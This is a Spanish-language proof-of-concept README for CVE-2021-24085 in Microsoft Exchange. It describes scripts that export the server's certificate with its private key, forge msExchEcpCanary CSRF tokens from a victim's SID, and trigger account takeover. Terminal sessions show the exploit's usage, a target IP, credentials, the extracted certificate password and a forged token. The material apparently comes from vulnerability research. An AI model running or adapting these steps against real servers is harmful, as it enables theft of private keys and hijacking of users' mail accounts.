
Esta es una prueba de concepto para CVE-2021-24085.
poc.py descarga el archivo de certificado del objetivo con la clave privada dentroYellowCanary genera el token csrf msExchEcpCanary para un usuario específico basado en el SIDpoc.js es el exploit csrf para desencadenar una toma de control de la cuentaNo he proporcionado el archivo malicifest.xml, pero puedes encontrar información sobre cómo generar un archivo de manifiesto malicioso en los recursos disponibles en la sección de referencias a continuación.
Accede al certificado con la clave privada incluida:
researcher@srcincite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123###
researcher@srcincite:~$ ./poc.py 192.168.75.142 [email protected]:user123###
(+) found the thumbprint: F4EB6AADB8D7C0D12E756BA2E28F90CCACD41299
(+) exported the cert to the target filesystem
(+) saved the cert to testcert.der using password: hax
Ahora puedes generar tokens csrf con YellowCanary utilizando el SID de un usuario objetivo:
c:\Users\researcher>poc.exe S-1-5-21-257332918-392067043-4020791575-3104 testcert.der hax
#====================================================
# YellowCanary - generate msExchEcpCanary csrf tokens
#====================================================
security identifier : S-1-5-21-257332918-392067043-4020791575-3104
msExchEcpCanary : sA0o0nS_C0G_PMdcA_dAd5BdAEL_-NcYhndaAwlhBJFs4a4iKy4sn53azH-O5Ix3F0jnwzZZUsk.